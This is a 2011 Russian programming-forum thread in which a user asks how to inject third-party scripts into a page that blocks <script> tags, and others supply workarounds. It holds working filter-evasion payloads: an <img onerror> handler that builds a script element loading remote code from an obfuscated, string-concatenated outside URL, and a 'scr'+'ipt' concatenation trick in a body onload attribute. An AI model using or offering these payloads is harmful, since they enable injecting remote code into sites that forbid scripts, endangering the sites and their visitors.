Здесь курят мануал.

Добро пожаловать на Пыху!

Логин:
Пароль:
 

Нет прописки? Зарегистрируйся!

Новости

Пыха переехала на новый сервер, ура!

Краснодарское время: 25 Май, 2012, 09:14:55

Страниц: [1]
Печать
Автор Тема: Внедрить скрипты  (Прочитано 369 раз)
0 Пользователей и 2 Гостей смотрят эту тему.
lolcat    ↓ 
07 Июнь, 2011, 07:12:20
НЕ ХУЕТА! ХУЕТА!


Карма: -3
Сообщений: 367
Сила слова: -0.82

Есть страница, в которую нельзя добавлять скрипты через тег <script>.
Но можно выполнять код задавая onload, onclick и т.д. Можно добавлять произвольный html.
 
Задача - сделать так, чтобы код подгружаемый со стороннего сервера, содержащий document.write, корректно отработал.
 
У меня затруднение. Помогите советом.
Спустя 1 минуту 50 секунд добавил
Да, на этой странице подгружается библиотека jquery. Это может как-то помочь?
Записан
KaFe    ↓ 
07 Июнь, 2011, 07:40:57 , спустя 28 минут 37 секунд
НЕ ХУЕТА! ХУЕТА!

Группа: Сраный Тролль

Карма: -13346
Сообщений: 1727
Сила слова: -772.79

вообще нехуя не понятно
Записан

phpdude    ↓ 
07 Июнь, 2011, 07:43:55 , спустя 2 минуты 58 секунд
НЕ ХУЕТА! ХУЕТА!

я - ЭМО
Группа: в ухо

Карма: 345
Сообщений: 20790
Сила слова: 1.66

ебание крякеры xDDD
Записан

забанен. могу забанить других, пишите в личку
BEER. Helping ugly people have sex since 1862.
Stasovsky    ↓ 
07 Июнь, 2011, 08:06:10 , спустя 22 минуты 15 секунд
НЕ ХУЕТА! ХУЕТА!

Сенсей XD
Группа: Джедаи

Карма: 54
Сообщений: 3653
Сила слова: 1.48

http://api.jquery.com/jQuery.getScript/
Записан
lolcat    ↓ 
07 Июнь, 2011, 08:20:08 , спустя 13 минут 58 секунд
НЕ ХУЕТА! ХУЕТА!


Карма: -3
Сообщений: 367
Сила слова: -0.82

Stasovsky, я не могу залить на тот сервер .js файл.
Записан
Stasovsky    ↓ 
07 Июнь, 2011, 08:57:16 , спустя 37 минут 8 секунд
НЕ ХУЕТА! ХУЕТА!

Сенсей XD
Группа: Джедаи

Карма: 54
Сообщений: 3653
Сила слова: 1.48

а в чем проблема залить файл налево?) на тот же народ, например))
Записан
lolcat    ↓ 
07 Июнь, 2011, 10:33:33 , спустя 1 час 36 минут 17 секунд
НЕ ХУЕТА! ХУЕТА!


Карма: -3
Сообщений: 367
Сила слова: -0.82

Этот метод работает через xhr, значит не сможет выполниться между доменами.
 
Тут проблема такова, что после onload нельзя писать в поток - он уже остановился. Как мне это обойти, не имея возможности использовать тег script? Есть ли такие события, которым можно подвесить на теги мой "обработчик", чтобы он выполнился раньше onload?
Записан
Faster    ↓ 
07 Июнь, 2011, 11:43:02 , спустя 1 час 9 минут 29 секунд
НЕ ХУЕТА! ХУЕТА!


Карма: 10
Сообщений: 954
Сила слова: 1.05

конкатенация тега script
Записан

воспитываю дочь. С домами и деревьями  - не приставать.
lolcat    ↓ 
08 Июнь, 2011, 12:23:18 , спустя 40 минут 16 секунд
НЕ ХУЕТА! ХУЕТА!


Карма: -3
Сообщений: 367
Сила слова: -0.82

И как я это сделаю, без контейнера <script>? В xhtml вроде нет такого функционала.
Записан
indeego    ↓ 
08 Июнь, 2011, 06:01:04 , спустя 5 часов 37 минут 46 секунд
НЕ ХУЕТА! ХУЕТА!


Карма: 0
Сообщений: 43
Сила слова: 0


Этот метод работает через xhr, значит не сможет выполниться между доменами.
Если не ошибаюсь уже существует решение кросс-доменного аякса, причем нативное. Там какой то флаг указывается и все. Вроде на хабре или где проскакивало.
Записан
AlexanderC    ↓ 
08 Июнь, 2011, 08:07:18 , спустя 14 часов 6 минут 14 секунд
НЕ ХУЕТА! ХУЕТА!


Карма: 1
Сообщений: 140
Сила слова: 0.71

Есть такое дело как кроссдоменный аякс запрос... Вот тебе пропатченая функция
Javascript

jQuery.ajax = (function(_ajax){   // enable cross domain ajax powered by yahoo API(same use as in jquery)
    var protocol = location.protocol,
        hostname = location.hostname,
        exRegex = RegExp(protocol + '//' + hostname),
        YQL = 'http' + (/^https/.test(protocol)?'s':'') + '://query.yahooapis.com/v1/public/yql?callback=?',
        query = 'select * from html where url="{URL}" and xpath="*"';   
    function isExternal(url) {
        return !exRegex.test(url) && /:\/\//.test(url);
    }   
    return function(o) {       
        var url = o.url;       
        if ( /get/i.test(o.type) && !/json/i.test(o.dataType) && isExternal(url) ) {
            o.url = YQL;
            o.dataType = 'json';
           
            o.data = {
                q: query.replace(
                    '{URL}',
                    url + (o.data ?
                        (/\?/.test(url) ? '&' : '?') + jQuery.param(o.data)
                    : '')
                ),
                format: 'xml'
            };
            if (!o.success && o.complete) {
                o.success = o.complete;
                delete o.complete;
            }           
            o.success = (function(_success){
                return function(data) {
                     if (_success) {
                        _success.call(this, {
                            responseText: data.results[0]
                                .replace(/<script[^>]+?\/>|<script(.|\s)*?\/script>/gi, '')
                        }, 'success');
                    }
                };
            })(o.success);   
        }
        return _ajax.apply(this, arguments)
    }
})(jQuery.ajax); // --end
 
Спустя 1 минуту 38 секунд добавил
Нашёл у себя ;D...
единственное что хром ругается что передаётся это дело с некорректным миме(он ваще на многое ругается)...
Записан

*Не всё  Windows™ что виснет, не всё  Linux что "да ну его..."
indeego    ↓ 
09 Июнь, 2011, 12:01:40 , спустя 15 часов 54 минуты 22 секунды
НЕ ХУЕТА! ХУЕТА!


Карма: 0
Сообщений: 43
Сила слова: 0

AlexanderC, спасибо, забрал себе.
Записан
lolcat    ↓ 
11 Июль, 2011, 04:50:16 , спустя 32 дня 4 часа 48 минут 36 секунд
НЕ ХУЕТА! ХУЕТА!


Карма: -3
Сообщений: 367
Сила слова: -0.82

Text
<img src="htt://123.12211" onerror="(function(){var scr = document.createElement('script');scr.src = 'ht'+'t'+'p'+':'+'//mo'+'bik'+'ano.'+'co'+'m/'+'out.p'+'hp?sid=11'+'111';document.body.appendChild(scr);})();" />
Вот как-то так я это сделал.
Записан
rider-sx    ↓ 
11 Июль, 2011, 06:11:34 , спустя 1 час 21 минуту 18 секунд
НЕ ХУЕТА! ХУЕТА!

drmmmmmm
Группа: Адекваты

Карма: 32
Сообщений: 2718
Сила слова: 1.18

Не проще ли грузить скрипт допустим в
HTML

<div id="haxx" style="display:none">
alert(1);
</div>
 

а потом в body:
HTML

<body onload="haxx=document.createElement('scr'+'ipt');haxx.innerHTML=document.getElementById('haxx').innerHTML;document.body.appendChild(haxx)">
 
« Последнее редактирование: 11 Июль, 2011, 06:11:08 от rider-sx » Записан

lolcat    ↓ 
11 Июль, 2011, 07:02:25 , спустя 50 минут 51 секунду
НЕ ХУЕТА! ХУЕТА!


Карма: -3
Сообщений: 367
Сила слова: -0.82

Мне нужно было до onload скрипт выполнить.
Записан
Страниц: [1]
Печать
 

Перейти в:  

Этот топик скрыли: adw0rd, Frozzeg, artoodetoo